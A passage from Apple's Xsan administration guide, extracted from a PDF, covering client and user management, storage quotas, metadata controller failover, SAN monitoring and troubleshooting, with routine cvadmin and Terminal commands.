pane appears so you can add one. 8 In the Choose Metadata Controllers pane, make sure there’s no check next to the new client in the list, then click Continue. 9 In the Summary pane, click Continue. If Xsan Admin won’t add a client that has Mac OS X v10.6 Snow Leopard and Xsan 2.2.1, there may be existing volumes that are case sensitive. Xsan 2.2.1 doesn’t support casesensitive volumes. After you add a client computer to the SAN, volumes that are mounted on all other SAN computers are mounted automatically on the new client. Volumes that are mounted only on some SAN computers aren’t mounted automatically on the new client, but you can mount those volumes manually. For instructions, see “Mount a volume on a client” on page 92. 90 Chapter 6 Manage clients and usersChapter 6 Manage clients and users 91 Add an Xsan serial number If you want to add Xsan software serial numbers for client computers with Mac OS X or Mac OS X Server v10.6 Snow Leopard, you can enter the numbers in Xsan Admin. Add button Select to view current serial numbers. Add an Xsan serial number: 1 In Xsan Admin, select Serial Numbers in the SAN Assets list. If you don’t see Serial Numbers in the SAN Assets list, add a computer that has Mac OS X or Mac OS X Server v10.6 to the SAN. 2 Click the Add button (+). 3 Enter the serial number, registered owner, and organization information provided by Apple, and then click OK. If you have serial numbers in a text file, you can drag the file to the Serial Number list in Xsan Admin. Move a client to a different SAN You can move a client from one Xsan SAN to a different SAN on the same Ethernet subnet and Fibre Channel network. Move a client computer to a different SAN: 1 In Xsan Admin, select Computers in the SAN Assets list. 2 Select the computer in the list and choose “Remove computer from SAN” from the Action pop-up menu (gear)pop-up menu.3 In Xsan Admin, open the window for the SAN you want to move the computer to. 4 In the new SAN window, select Computers in the SAN Assets list and click the Add button (+). 5 Make sure there’s a check next to the computer in the list, and then click Continue. 6 In the Authenticate Clients pane, enter the administrator name and password for the client and click Continue. Mount a volume on a client When you create a volume, it is mounted on SAN computers. However, if you stop a volume or explicitly unmount a volume from a client, you must mount it again to restore access. Select to view computers that don’t have the volume mounted. Select the volume. Mount Read & Write button Mount an Xsan volume on a client: 1 In Xsan Admin, select Mounts in the SAN Assets list. 2 Select the client in the list. 3 Select the volume in the Volume pop-up menu. 4 To allow the client to modify files on the volume, click the Mount Read & Write button. 92 Chapter 6 Manage clients and usersChapter 6 Manage clients and users 93 A volume remains mounted on a client even if the user logs out or the client computer restarts. If you unmount a volume using Xsan Admin, or if the client computer has Mac OS X Lion and the user unmounts the volume using Xsan preferences, the volume remains unmounted after logout and restart. If a user unmounts the volume in the Finder, it remounts in a few moments. From the command line You can also mount a volume on a client using the xsanctl command-line tool in Terminal. For information, see the xsanctl man page or “Mount an Xsan volume” on page 157. Change mount options You can use Xsan Admin to adjust settings that can affect volume access performance. Change mount options: 1 In Xsan Admin, select Mounts in the SAN Assets list. 2 Select the volume in the Volume pop-up menu. 3 Select the client in the list. 4 Choose Edit Mount Options from the Action pop-up menu (gear) and change: Directory cache size: Controls the number of file system directory entries cached on the client for each SAN volume. Increase this value if the volume contains a large number of small files (for example, if the volume hosts a home directory server or mail server). Client worker threads: Controls the number of threads used to communicate with the volume. You might increase this if you’re mounting many volumes on a client. Delay access time updates until files are closed: Lets you increase performance by reducing the number of access time updates on a file that’s read frequently (for example, streaming video). If not enabled, file access time is updated every time the file is read. For more information, see the descriptions of these parameters in the mount_acfs man page. Manage users and groups Depending on how you first set up your SAN, you manage users and groups using Xsan Admin or another app.Manage users and groups with Xsan Admin When you first set up your SAN controllers, you can use Xsan Admin to manage SAN user and group accounts. An Open Directory master is created on your primary metadata controller, with replicas on your standby controllers. You can then use Xsan Admin to create or remove user and group accounts. Manage users and groups with another app If you choose not to manage accounts using Xsan Admin because you already have a network account server, also called a directory server, use the appropriate directory management tool to add or delete accounts. If a Mac with Mac OS X Lion Server is your network accounts server, you can use the Server app to manage user and group accounts. If your network accounts server has Mac OS X Server v10.6 Snow Leopard or earlier, you can use Workgroup Manager to manage user and group accounts. In either case, users can connect their Macs to the network accounts server in the Users & Groups pane of System Preferences (the Accounts pane in Mac OS X v10.6). Add SAN users Only users in the SAN’s directory can log in to a client computer and access Xsan volumes. You can use Xsan Admin to add users to the directory on your primary metadata controller. Select to view current SAN users. Add button 94 Chapter 6 Manage clients and usersChapter 6 Manage clients and users 95 Note: These instructions apply only if, during initial SAN setup, you chose to use Xsan Admin to manage users and groups. If you have a different directory configuration, use the management software for your directory to add user accounts. Add a user: 1 In Xsan Admin, select Users and Groups in the SAN Assets list. Users and Groups appear only if you chose to have Xsan manage users and groups during initial setup. 2 Click the Users button above the list of users and groups. 3 Click the Add button (+). 4 Enter a user name and password, and click OK. Delete SAN users Only users in the SAN’s directory can log in to a client computer and access Xsan volumes. You can use Xsan Admin to delete users from your SAN directory. Note: These instructions apply only if, during initial SAN setup, you chose to use Xsan Admin to manage users and groups. If you have a different directory configuration, use the management software for your directory to delete user accounts. Delete a user: 1 In Xsan Admin, select Users and Groups in the SAN Assets list. 2 Select the user in the list and choose Delete User or Group from the Action pop-up menu (gear). Create groups You can create groups of users to simplify user management. If you chose to have Xsan manage your users and groups, you already have a group named Workgroup that contains all users. Note: These instructions apply only if, during initial SAN setup, you chose to use Xsan Admin to manage users and groups. If you have a different directory configuration, use the management software for your directory to add groups. Add a group: 1 In Xsan Admin, select Users and Groups in the SAN Assets list. 2 Click the Groups filter button above the list of users and groups. 3 Click the Add button (+). 4 Enter a group name and password. 5 Select the checkbox next to the users who belong to the group. 6 Click OK.Delete groups You can use Xsan Admin to delete a group. Note: These instructions apply only if, during initial SAN setup, you chose to use Xsan Admin to manage users and groups. If you have a different directory configuration, use the management software for your directory to delete groups. Delete a group: 1 In Xsan Admin, select Users and Groups in the SAN Assets list. 2 Select the group in the list and choose Delete User or Group from the Action pop-up menu (gear). Change group membership You can use Xsan Admin to change the members of a group at any time. Note: These instructions apply only if, during initial SAN setup, you chose to use Xsan Admin to manage users and groups. If you have a different directory configuration, use the management software for your directory to modify group membership. Change a group’s membership: 1 In Xsan Admin, select Users and Groups in the SAN Assets list. 2 Select the group in the list and click the Edit button in the lower-right corner of the window. 3 Select the checkbox next to a user to add the user to the group, or deselect the checkbox to remove the user. 4 Click OK. Configure local home folders for network accounts Using a network account server (or directory server) simplifies the job of managing user accounts for client computers attached to the SAN. However, some apps, such as Final Cut Pro, work best when a user’s home folder is on the client computer. User accounts that you manage with Xsan Admin are set up with local home folders. If your SAN users have accounts on another directory server and they have network home folders, you can set up local home folders for them. Configure a local home folder with Server If a Mac with Mac OS X Lion Server provides your SAN’s user accounts, you can use the Server app to configure a local home folder for a network user. 1 Open the Server app and connect to the Mac that has Lion Server and provides your SAN’s network accounts. 2 Select Users in the Server sidebar, select the user whose home folder you want to create, and choose Edit User from the Action pop-up menu (gear). 96 Chapter 6 Manage clients and usersChapter 6 Manage clients and users 97 3 Choose Local Only from the Home Folder pop-up menu. If you don’t see a Home Folder pop-up menu above the Groups field, all users have local home folders. The Home Folder pop-up menu isn’t shown unless the network account server is configured to provide network home folders. Configure a local home folder with Workgroup Manager: 1 Open Workgroup Manager and authenticate to your SAN’s Open Directory master. If the computer you’re using has Mac OS X Lion Server but doesn’t have Workgroup Manager, you can install it. Workgroup Manager is available for Lion Server as part of the Server Admin Tools, which you can download from the AppleCare Support Downloads website at www.apple.com/support/downloads/. 2 Click the Users tab, select a user, and click Home. 3 If /Users appears in the list of home locations, select it and click Save. If /Users isn’t in the list, click the Add button (+), and then enter the following in the Full Path field (replacing shortname with the user’s short name): /Users/shortname Leave all other fields blank, click OK, and then click Save. The user’s home folder is created on the client the first time the user logs in. Control client and user access To control access to information on SAN volumes, you can:  Use the Finder’s Get Info window to apply basic access controls to a file or folder.  Use Xsan Admin or the Server app to apply a full set of access control list restrictions.  Use Xsan Admin to unmount a SAN volume from selected client computers (volume-level control).  Remove a client from a SAN (SAN-level control). Control file and folder access using the Finder To restrict access to a file or folder on an Xsan volume, you can use the Get Info window in the Finder. Assign permissions using the Finder: m In a Finder window, select the file or folder, choose File > Get Info, and look under Sharing & Permissions. Control file and folder access using Xsan Admin To restrict user access to specific items on a SAN volume, you can use Xsan Admin to adjust permissions using standard POSIX permissions and access control lists (ACLs).Assign permissions using Xsan Admin: 1 Make sure ACLs are enabled on the volume. For help, see “Enable or disable access control lists” on page 82. 2 In Xsan Admin, select File Management in the SAN Assets list. 3 Select the file or folder you want to protect, and choose Set Permissions from the Action pop-up menu (gear). For more information about file and folder permissions, open the Server app on a SAN computer that has Mac OS X Lion Server, or a SAN computer that has Mac OS X Lion and has the Server app installed for remote server administration, and then search Server Help. Unmount a volume on a client You can unmount a volume from a client computer. A user whose client computer has Mac OS X Lion can also unmount a SAN volume by using the Xsan pane of System Preferences, provided the user knows an administrator name and password for the client computer. A user can also unmount a SAN volume from a client computer temporarily by ejecting it in the Finder, but the volume remounts after a few moments. Select to view computers that have the volume mounted. Select the volume. Unmount button Unmount a volume: 1 In Xsan Admin, select Mounts in the SAN Assets list. 2 Choose the volume from the Volume pop-up menu. 3 Select the client in the list and click the Unmount button. 98 Chapter 6 Manage clients and usersChapter 6 Manage clients and users 99 To select more than one client, hold down the Command or Shift key as you select clients in the list. Remove a client from a SAN You can remove a client computer from a SAN to prevent it from accessing SAN volumes. Select to view computers already in the SAN. Action menu Remove a client from a SAN: 1 In Xsan Admin, select Computers in the SAN Assets list, select the client, and choose “Remove computer from SAN” from the Action pop-up menu (gear). If SAN volumes are mounted on the client, Xsan Admin unmounts them. If you can’t choose “Remove computer from SAN,” make sure all Xsan clients and metadata controllers are turned on and their status is Ready in Xsan Admin’s Computers list. 2 To prevent the client from appearing in the Xsan Admin’s list of computers that can be added to the SAN, do one of the following:  If the client computer has Mac OS X Lion or Lion Server, open System Preferences on the client, click Xsan, and then click Disable Xsan.  If the client computer has Mac OS X or Mac OS X Server v10.6 Snow Leopard, remove the Xsan software by inserting the Xsan Install Disc for Xsan 2.2 in the client computer, opening the Other Installs folder, and double-clicking Uninstall Xsan.mpkg.3 To prevent any possible connection to the SAN, physically disconnect the client computer from the SAN’s Ethernet and Fibre Channel networks. Map Windows user and group IDs You can use the Windows ID Mapping setting for a volume to specify how Windows clients map user and group information to Xsan-compatible user IDs (UIDs) and group IDs (GIDs), which they need in order to access Xsan volumes. Note: To use ID mapping, Windows clients must be running StorNext 2.7. Windows clients can use these methods to provide UIDs and GIDs: Generate IDs from GUID: Windows clients dynamically generate UIDs and GIDs based on Globally Unique Identifier (GUID) information in an Active Directory domain. Choose this method if Macs on the SAN are connected (bound) to Active Directory with the default binding options, which automatically generate IDs. Use IDs from LDAP (RFC 2307): Windows clients get UID and GID values from the uidNumber and gidNumber attributes in Active Directory records. Choose this method if Macs on the SAN are connected to Active Directory with binding options set to map IDs to uidNumber and gidNumber. Important: To avoid ID conflicts, be sure all computers on the SAN use the same Active Directory domain and the same method of ID mapping. Select the Windows ID mapping method: 1 In Xsan Admin, select Volumes in the SAN Assets list, and choose Edit Volume Settings from the Action pop-up menu (gear). 2 Choose a mapping method from the Windows ID Mapping pop-up menu. If you choose “Use IDs from LDAP (RFC 2307),” you can change the ID numbers used when a directory record doesn’t include a uidNumber or gidNumber attribute. 3 Click OK. Xsan Admin unmounts the volume from clients and controllers and stops the volume before changing the Windows ID mapping method, and then starts the volume and mounts it on each computer that had it mounted. Set SAN user and group quotas You can use Xsan Admin to set quotas on the amount of storage available to a user or group. Note: A group quota includes only folders and files the group owns. Basic access permissions for a folder or a file determine its owner. You can view basic access permissions for an item in the Finder’s Get Info window. For instructions, see “Control file and folder access using the Finder” on page 97. 100 Chapter 6 Manage clients and usersChapter 6 Manage clients and users 101 Set a storage quota for a user or group: 1 In Xsan Admin, select Users and Groups in the SAN Assets list. If you’re not using Xsan Admin to manage users and groups, you’ll see Quotas in the SAN Assets list instead of Users and Groups. 2 Choose a volume from the Volume pop-up menu. 3 Select a user or group in the list. To select multiple users or groups, hold down the Command or Shift key as you select users or groups in the list. To add a user or group, click the Users button or Groups button above the list and then click the Add button (+). 4 Click the Edit button. 5 Enter a hard quota, soft quota, and grace period, and then click OK.Remove a quota: m Select the user or group and choose Delete Quota from the Action pop-up menu (gear). If your Xsan computers connect to another Mac server for user and group accounts, use the Server app or the Workgroup Manager app to create users and groups as needed. The Server app is included with Mac OS X Lion Server. Workgroup Manager is available for Lion Server as part of the Server Admin Tools, which you can download from the AppleCare Support Downloads website at www.apple.com/support/downloads/. If existing users and groups aren’t listed when you click the Add button, open the Users & Groups pane of System Preferences on your computer and make sure it’s connected to the correct network account server (directory server). All computers in the SAN should use the same directory server. From the command line You can also set user quotas using the cvadmin quotas set command in Terminal. For information, see the cvadmin man page or “View or change volume and storage pool settings (cvadmin)” on page 145. About Xsan quotas Xsan enforces two disk space quotas for each user or group you choose to restrict: a soft quota and a hard quota. You can set these in combination to establish clear limits on the amount of storage a user or group can use, while still allowing temporary access to extra space for unexpected storage needs. You specify quotas individually for each volume on a SAN. A user who has no quotas specified can use all the available space on a volume. Soft quota The soft quota is the maximum amount of space a user or group is expected to occupy on a regular basis. It’s soft because it can be exceeded by an amount up to the hard quota for a grace period that you specify. Hard quota The hard quota is an absolute limit on the amount of space a user or group can occupy. Users are prevented from using more space than specified by their hard quota. Grace period Users and groups can exceed the soft quota without penalty, as long as each returns below the soft quota within the grace period you specify. 102 Chapter 6 Manage clients and usersChapter 6 Manage clients and users 103 Soft quotas change to hard quotas If a user or group exceeds the soft quota for a time longer than the grace period, the soft quota is changed to a hard quota. The user or group can’t save additional data on the volume until the user or the group members delete enough old files to bring their usage below the soft quota. Example Suppose you assign Aldo a soft quota of 75 GB, a hard quota of 100 GB, and a grace period of 48 hours. Aldo’s files can occupy up to 75 GB of space at any time, for as long as he needs them. If Aldo is surprised by additional or unusually large files, he can still copy them to the volume, up to a total of 100 GB. He then has 48 hours to remove files and return below the 75 GB soft quota. If he’s still using more than 75 GB after 48 hours, Xsan resets his hard quota to 75 GB and he’s forced to reduce his storage use. Aldo can’t copy or save additional files to the volume until he deletes enough to return below the 75 GB quota. Define SAN users consistently for accurate quotas To be sure that Xsan user quota information is accurate, make sure user names and IDs are consistent on all computers on the SAN. Check user quota status You can use Xsan Admin to check file system quotas and see how much of their allotment users and groups are using. Hard quota (right end of bar) Soft quotas (vertical lines)View quota status: m In Xsan Admin, select “Users and Groups” or Quotas in the SAN Assets list. (You see Users and Groups only if you chose to have Xsan Admin manage your users and groups. Otherwise, you see Quotas.) To see current information, click Refresh at the top of the window. Xsan Admin displays the following information for each user or group: Used: The amount of space the user’s files are occupying. Quota: The soft and hard quotas. For example, “75 MB – 100 MB” indicates a soft quota of 75 MB and a hard quota of 100 MB. Quota Status: The status bar represents the full allocation, from zero on the left to the hard quota on the right. The small vertical line on the bar marks the soft quota. The colored portion of the bar shows how much space the user or group is using. Green indicates that the user or group is below the soft quota. Yellow indicates usage exceeding the soft quota but for a time within the grace period. Red indicates that the user has reached the hard quota, possibly because the soft quota was exceeded beyond the grace period and was changed to a hard quota. You can set up Xsan to notify you by email or text message when a user or group exceeds a soft quota. See “Set up status notifications” on page 119. For more information about quotas and how to set them, see “Set SAN user and group quotas” on page 100. From the command line You can also check user quotas using the cvadmin quotas get command in Terminal. For information, see the cvadmin man page or “View or change volume and storage pool settings (cvadmin)” on page 145. Help users check quotas SAN users who work on client computers but don’t have access to Xsan Admin can use the quota command-line tool to check their quotas. Check a user’s quota from a client computer: 1 Open the Terminal app (in the /Applications/Utilities/ folder). 2 Enter quota -u -g -v and press Return. The quotas for the user and for groups the user belongs to are displayed in a table. The first column reports the volume name. The second column reports how much space the user or group is using on the volume, suffixed with an asterisk if the usage is over the soft limit. The third column reports the soft quota. The fourth column reports the hard quota. Usage and quotas are reported in 1 KB blocks. To see the user quota without the group quotas, omit -g when you enter the command. 104 Chapter 6 Manage clients and usersChapter 6 Manage clients and users 105 Manage client computers remotely Xsan Admin can help you connect to an Xsan client computer so you can observe or control it over the network. Using Xsan Admin, you can:  Start a screen sharing session so you can observe or control another computer.  Open Terminal so you can log in using SSH and control another computer. You can also connect and manage a server in the SAN by using the Server app on a computer that has it installed. Connection options Action menu Control a client using screen sharing You can use the screen sharing feature of Mac OS X to view and control the screen of a SAN client over the network. Xsan Admin can start a screen sharing session with the client. Connect to a client using screen sharing: 1 In Xsan Admin, select Computers in the SAN Assets list. 2 Select the client you want to observe or control. 3 Choose “Connect Using Screen Sharing” from the Action pop-up menu (gear).If you have trouble sharing the screen of a remote computer, check the Sharing pane of System Preferences on the remote computer to make sure Remote Management service is turned on. If you have trouble starting a screen sharing session with an Xsan client, open the Security pane of System Preferences on the client, click Firewall, and make sure the option to block all incoming connections isn’t selected. Connect to a client using SSH in terminal You can use the Secure Shell (SSH) command-line tool to log in to a SAN client over the network. Xsan Admin can start an SSH session with the client or controller. Connect to a client using SSH: 1 In Xsan Admin, select Computers in the SAN Assets list. 2 Select the client you want to connect to. 3 Choose “Connect using ssh” from the Action pop-up menu (gear). If you have trouble making an SSH connection, check the Sharing pane of System Preferences on the remote computer to make sure Remote Login service is turned on. If you have trouble making an SSH connection with an Xsan client, open the Security pane of System Preferences on the client, click Firewall, and make sure the option to block all incoming connections isn’t selected. 106 Chapter 6 Manage clients and users107 To increase SAN security and redundancy, you can add, switch, and monitor Xsan metadata controllers. Every SAN volume you set up is managed by a metadata controller. To be sure that the volume is available to clients even if the primary metadata controller becomes unresponsive, you can set up standby controllers, one of which will assume control of the volume if the primary controller fails. This chapter shows you how to add metadata controllers, set their failover priority, and force volume failover from the primary controller to a standby controller. Add a metadata controller You can add standby metadata controllers to a SAN so that volumes remain available if the primary metadata controller fails. 7 Manage metadata controllersImportant: For best performance, metadata controllers should have Mac OS X Lion Server, and the “Dedicate system resources to server services” option should be turned on in the Server app. Add button Select to view computers already in SAN. Add a metadata controller: 1 Connect the new controller computer to the SAN’s Fibre Channel and Ethernet networks. 2 Open System Preferences, click Xsan, and click Enable Xsan. 3 Open Xsan Admin, select Computers in the SAN Assets list, and then click the Add button (+). 4 When the assistant opens, select the new controller computer in the computer list and click Continue. If the computer doesn’t appear in the list, click Add Remote Computer and add it. 5 On the Authenticate Clients pane, enter the administrator user name and password for the computer. 6 On the Choose Metadata Controllers pane, select the checkbox next to the computer in the list and click Continue. After you add a controller to the SAN, volumes that are mounted on all other controllers are mounted automatically on the new controllers. Volumes that are mounted only on some controllers aren’t mounted automatically on the new controller, but you can mount those volumes manually by selecting Mounts in the SAN Assets list. 108 Chapter 7 Manage metadata controllersChapter 7 Manage metadata controllers 109 Set controller failover priority When the primary metadata controller for a volume fails, Xsan uses the failover priorities of the available standby controllers to decide which one to switch to. Different volumes can be hosted by different metadata controllers, and you can choose a failover priority for each volume. Set a metadata controller’s failover priority: 1 Open Xsan Admin, select Volumes in the SAN Assets list, and select a volume in the list. 2 Choose Edit Failover Priority from the Action pop-up menu (gear). 3 Drag metadata controllers up or down in the list that appears. The closer a metadata controller is to the top of the list, the more likely it is that it will host the volume. 4 Click OK. Switch to a standby metadata controller You can use Xsan Admin to force an active metadata controller to turn over control of a volume to a standby controller. Force failover to a standby metadata controller: 1 Open Xsan Admin and select Volumes in the SAN Assets list. 2 Select the volume in the list and choose “Force failover” from the Action pop-up menu (gear). From the command line You can also switch a volume to a standby metadata controller using the cvadmin fail command in Terminal. For information, see the cvadmin man page or “View or change volume and storage pool settings (cvadmin)” on page 145.Find out which controller is hosting a volume Control of a volume can move from one metadata controller to another as a result of controller failover. You can use Xsan Admin to find out which metadata controller is hosting a volume. The controller that is currently hosting the volume View a volume’s metadata controller: m In Xsan Admin, select Volumes in the SAN Assets list and look in the Hosted By column. From the command line You can also find out which metadata controller is hosting a volume by using the cvadmin command-line tool in Terminal. Open Terminal on the controller and enter: $ sudo cvadmin -e select For more information, see the cvadmin man page or “View or change volume and storage pool settings (cvadmin)” on page 145. List the volumes hosted by a controller You can use Xsan Admin or the cvadmin command-line tool to find out which SAN volumes are being hosted by a metadata controller. List hosted volumes: m In Xsan Admin, select Volumes in the SAN Assets list, and click the title of the Hosted By column to sort by controller. 110 Chapter 7 Manage metadata controllersChapter 7 Manage metadata controllers 111 From the command line You can also find out which volumes are hosted by a metadata controller using the cvadmin select command in Terminal. For information, see the cvadmin man page or “View or change volume and storage pool settings (cvadmin)” on page 145. Change a controller’s IP address Follow these instructions to change the IP address of an Xsan metadata controller. WARNING: To avoid losing data on volumes hosted by the primary metadata controller, you must have a standby metadata controller available for each volume. Change a metadata controller’s IP address: 1 In Xsan Admin, select Computers in the SAN Assets list. 2 If you’re changing the primary metadata controller’s IP address, select a standby metadata controller, and choose Make Primary Controller from the Action pop-up menu. 3 Select the controller whose IP address you wish to change, and choose “Remove Computer from SAN” from the Action pop-up menu (gear). 4 Change the computer’s IP address in the Network pane of System Preferences. 5 Open the Server app, click Alerts, select the alert about the network configuration change, and click Recover to update the service configuration files. You can also manually update the service configuration files from the command line by entering: $ sudo changeip oldIP newIP Replace oldIP with the server’s old IP address, and replace newIP with the server’s new IP address. 6 Restart the computer. 7 With its new address, add the computer back to the SAN as a metadata controller. In Xsan Admin, select Computers in the SAN Assets list and click the Add button (+). If you want to switch control of a volume hosted by the standby controller back to the controller with the new IP address, select the volume in the Volumes pane of Xsan Admin and choose “Force failover” from the Action pop-up menu (gear). You can also force failover from the command line by entering: $ sudo cvadmin -e "fail volume" Replace volume with the name of the Xsan volume.Make a standby controller the primary controller Make a standby metadata controller the primary metadata controller: 1 In Xsan Admin, select Computers in the SAN Assets list. 2 Select the standby metadata controller you want to promote, and choose Make Primary Controller from the Action pop-up menu. Convert a controller to a client If you no longer want a computer to act as a metadata controller for SAN volumes, you can demote the controller to a SAN client. Convert a metadata controller to a client: m In Xsan Admin, select Computers in the SAN Assets list, select the metadata controller in the list, and choose Make Client from the Action pop-up menu (gear). If you can’t choose Make Client, make sure all Xsan clients and metadata controllers are turned on and their status is Ready in Xsan Admin’s Computers list. You can’t demote the primary metadata controller if it’s managing users and groups. Access controller computers remotely Xsan Admin can help you connect to an Xsan metadata controller so you can observe or control it over the network. Using Xsan Admin, you can:  Start a screen sharing session so you can observe or control another computer.  Open Terminal so you can log in using SSH and control another computer. 112 Chapter 7 Manage metadata controllersChapter 7 Manage metadata controllers 113 You can also connect and manage a server in the SAN by using the Server app on a computer that has it installed. Connection options Action menu Control a controller using screen sharing You can use the screen sharing feature of Mac OS X to view and control the screen of a SAN metadata controller over the network. Connect to a metadata controller using screen sharing: 1 In Xsan Admin, select Computers in the SAN Assets list. 2 Select the metadata controller you want to observe or control. 3 Choose “Connect using Screen Sharing” from the Action pop-up menu (gear). If you have trouble sharing the screen of a remote computer, check the Sharing pane of System Preferences on the remote computer and make sure Remote Management service is turned on. If the computer is a Mac server, you can also turn on remote management in the Server app or Server Admin. The Server app is included with Mac OS X Lion Server, and Server Admin is included with Mac OS X Server v10.6 Snow Leopard and earlier. Connect to a controller using SSH in Terminal You can use the Secure Shell (SSH) command-line tool to log in to a SAN metadata controller over the network.Connect to a metadata controller using SSH: 1 In Xsan Admin, select Computers in the SAN Assets list. 2 Select the metadata controller you want to connect to. 3 Choose “Connect using ssh” from the Action pop-up menu (gear). If you have trouble making an SSH connection, check the Sharing pane of System Preferences on the remote computer and make sure Remote Login service is turned on. If the computer is a Mac server, you can also turn on remote login in the Server app or Server Admin. The Server app is included with Mac OS X Lion Server, and Server Admin is included with Mac OS X Server v10.6 Snow Leopard and earlier. Monitor controller status For information about checking or reporting the status of a controller, see these topics:  “Graph SAN resource usage” on page 118  “Set up status notifications” on page 119  “View Xsan logs” on page 120 114 Chapter 7 Manage metadata controllers115 You can use Xsan Admin and related command-line tools to check the condition of a SAN and its components. This chapter shows you how to check the status of a SAN and its volumes and how to set up notifications so you’ll be alerted to changes in the SAN. Check SAN status You can use Xsan Admin to view status and configuration information for the SAN and its components. View the overall status of the SAN: m Open Xsan Admin and select Overview in the SAN Assets list. 8 Monitor SAN statusView a component’s status and configuration information: m Open Xsan Admin, click the Inspector button at the top of the window, and then select the component in the SAN Assets list or in the main pane of the Xsan Admin window. Check volume status You can use Xsan Admin to view the status of a volume. View the status of a volume: m Open Xsan Admin, select Volumes in the SAN Assets list, select the volume, and click the Inspector button at the top of the window. You can also double-click the volume. Monitor RAID devices If a RAID array that belongs to an Xsan volume becomes damaged and unrecoverable due to a failed disk drive or other hardware failure, the data on the volume could be lost. To avoid this possibility, regularly check the state of your RAID hardware. Your RAID system management software might be able to notify you when the state of a drive module or array changes. See the documentation that came with your RAID system. 116 Chapter 8 Monitor SAN statusChapter 8 Monitor SAN status 117 Check free space There are several ways to see how much space is available on a SAN volume or on storage pools in a volume. Available space Check the free space on a volume: m From a client or controller computer that has the volume mounted, select the volume in a Finder window, and look at the size information at the bottom of the window (in Column or List view) or choose File > Get Info. You can also use Disk Utility. m From a computer that has Mac OS X Lion Server but doesn’t have the volume mounted or doesn’t belong to the SAN, open Xsan Admin, click Volumes in the SAN Assets list, look for the volume, and then look at the Available column. The reported size and free space for an Xsan volume doesn’t include space in storage pools that contain only journal data and metadata. Only space on storage pools where users can store files is counted (that is, storage pools set to be used for “Any data” or “User data only”). For example, if you create a volume consisting of four 120 GB storage pools and configure one for journal and metadata only, Xsan Admin reports the size of the volume as 360 GB, not 480 GB. Check the free space on a storage pool: m Open Xsan Admin, select Volumes in the SAN Assets list, look for the storage pool, and then look at the Available column.If you don’t see the storage pools for a volume, click the volume’s disclosure triangle. From the command line You can also check volume free space using the cvadmin stat command, and you can check storage pool free space using the cvadmin show command. For information, see the cvadmin man page or “View or change volume and storage pool settings (cvadmin)” on page 145. Graph SAN resource usage Xsan Admin can display graphs of up to a week of CPU, memory, Ethernet, and Fibre Channel usage data for any computer on the SAN. Choose a SAN computer. Choose a time period. Choose a data type. View usage graphs: m In Xsan Admin, click the Graphs button at the top of the window and use the three pop-up menus in the Graphs window to choose a computer, a data type, and a time interval. Memory and CPU resources used by the file system process (fsm) for a volume are listed under the name of the volume in the Graphs pop-up menu when you choose the volume’s controller from the Computer pop-up menu. From the command line You can also check the file system process’s current CPU and memory usage by using the top command-line tool in Terminal to check the process named fsm on the volume’s controller. For information, see the top man page. 118 Chapter 8 Monitor SAN statusChapter 8 Monitor SAN status 119 Set up status notifications You can set up Xsan to send an email or a text message to notify you or other administrators when:  A controller switches to its backup  A Fibre Channel connection fails  Free space on a volume falls below a specified percentage  A user or group exceeds the designated soft quota To send email notifications outside the local network, the controller needs access to an SMTP server. Set up status notifications: 1 Open Xsan Admin and select Overview in the SAN Assets list. 2 Choose Edit Notifications Settings from the Action pop-up menu (gear). 3 To add a contact, click the Add button (+) and enter an email address. 4 If the address is for an account that will forward the notification as a text message, click the checkbox in the Text Msg column. 5 Choose the conditions that cause a notification to be sent (next to “Notify if”). 6 Enter a sender name. 7 Enter the mail server address in the SMTP Server field. 8 To send a test message to all recipients, click Send Test Notification. 9 Adjust settings as necessary, and then click OK.View Xsan logs You can use Xsan Admin to view the informational and diagnostic messages that Xsan writes to the SAN logs.Fibre Channel connection failures or errors are recorded in the system log. Choose a SAN computer. Location of the selected log file Type to search for entries containing specific text. View the SAN logs: m In Xsan Admin, click the Logs button at the top of the window, and then in the Logs window that appears, use the Computer and Log pop-up menus to choose the log you want to view. To display entries containing a specific name, time, or other text, type in the Search field in the lower-right corner of the window. Check for Fibre Channel connection failures: 1 In Xsan Admin, click the Logs button at the top of the window. 2 In the Logs window that appears, choose the computer in the Computer pop-up menu and choose System Log from the Log pop-up menu. From the command line To see the log for a volume from the command line, look at the log file /Library/Logs/ Xsan/data/volume/log/cvlog. The port mapper process log is in /Library/Logs/Xsan/debug/nssdbg.out. The system log is in /var/log/system.log. 120 Chapter 8 Monitor SAN statusChapter 8 Monitor SAN status 121 Check volume clients You can use Xsan Admin to see a summary of which clients are using a volume. Select to see which computers have a volume mounted. Choose a volume. See how many clients have a volume mounted: m Open Xsan Admin, select Volumes in the SAN Assets list, select the volume in the list, and click the Inspector button at the top of the window. See which clients are using a volume: m Open Xsan Admin, select Mounts in the SAN Assets list, and choose the volume from the Volume pop-up menu. From the command line You can also use the cvadmin who command in Terminal to see a list of volume clients. For information, see the cvadmin man page or “View or change volume and storage pool settings (cvadmin)” on page 145.122 Use this chapter to find solutions to common problems you might encounter while working with a SAN. Look here for solutions to common problems you might encounter while setting up, managing, or using an Xsan SAN. If you can’t connect to a computer using Xsan Admin If there’s a firewall between the computer you’re using Xsan Admin on and the SAN computer, make sure TCP port 311 is open on the firewall. If you can’t enable or install the Xsan software If you want to use Xsan on a computer with Mac OS X Lion or Lion Server, but you don’t see the Xsan pane in System Preferences, make sure the computer has a Fibre Channel interface. If you can’t install Xsan using an Xsan Install Disc for Xsan 2.2, make sure the computer has Mac OS X or Mac OS X Server v10.6 Snow Leopard. Mac OS X Lion includes Xsan 2.3, so you can’t use the Xsan Install Disc with it. You can’t use Mac OS X or Mac OS X Server versions earlier than v10.6 with Xsan 2.3. If computers aren’t listed in Xsan Admin If a computer you want to add to the SAN as a metadata controller or client isn’t listed in Xsan Admin, make sure:  You’ve enabled the Xsan software on the computer.  The computer is turned on.  The computer isn’t in sleep. 9 Solve SAN problemsChapter 9 Solve SAN problems 123  The computer is on the same TCP/IP subnets as the other SAN components. (If you’re using a private and a public Ethernet network, all SAN components must be connected to both networks.)  The computer is connected to the SAN’s Fibre Channel networks. If you can’t mount a volume on a client  Restart the client computer, and then try mounting the volume again.  Check that all Fibre Channel cables are plugged in.  Make sure that no other volumes mounted on the client have the same name as the Xsan volume. If you can’t unmount a volume on a client  Make sure no processes are using the volume.  Restart the client computer, and then try unmounting the volume again. If RAID LUNs aren’t accessible over Fibre Channel  Restart the computer that doesn’t see the LUNs.  Check the configuration of the Fibre Channel switch to be sure the SAN computers and storage devices are in the same Fibre Channel zone. If you have problems using command-line tools If you get the response “insufficient administrator privileges” when you run the cvadmin command-line tool, make sure you have root user privileges when you use the tool. Log in as the root user or use the sudo command to run the tool. For example: $ 